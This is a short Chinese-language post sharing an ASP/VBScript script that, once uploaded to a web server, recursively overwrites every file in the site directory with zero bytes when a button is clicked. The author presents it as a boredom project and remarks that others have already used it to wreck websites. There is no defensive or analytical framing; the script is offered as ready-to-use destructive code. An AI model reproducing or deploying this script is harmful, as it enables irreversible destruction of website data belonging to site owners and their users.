自动清空站点目录下所有文件

作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.

此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.

属于无聊时的作品,已经有人利用这个破坏了一些网站了.

<%

Server.ScriptTimeout=99999

If Request("Submit")<>"" Then

Call ListFile(Server.mappath("./"))

Response.write"清理完毕"

Else

Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"

End If

Function ListFile(fpath)

On Error Resume Next

Dim Shell,Folder,s

Set Shell =Server.CreateObject ("Shell.Application")

Set Folder =Shell.Namespace(fpath)

Set f=Server.CreateObject("Adodb.Stream")

f.Type=1

f.Open

For Each s in Folder.Items

IF s.isfolder Then

Call ListFile(s.path)

Else

f.SaveToFile s.path,2

End if

Next

Set f=Nothing

Set Shell=nothing

End function

%>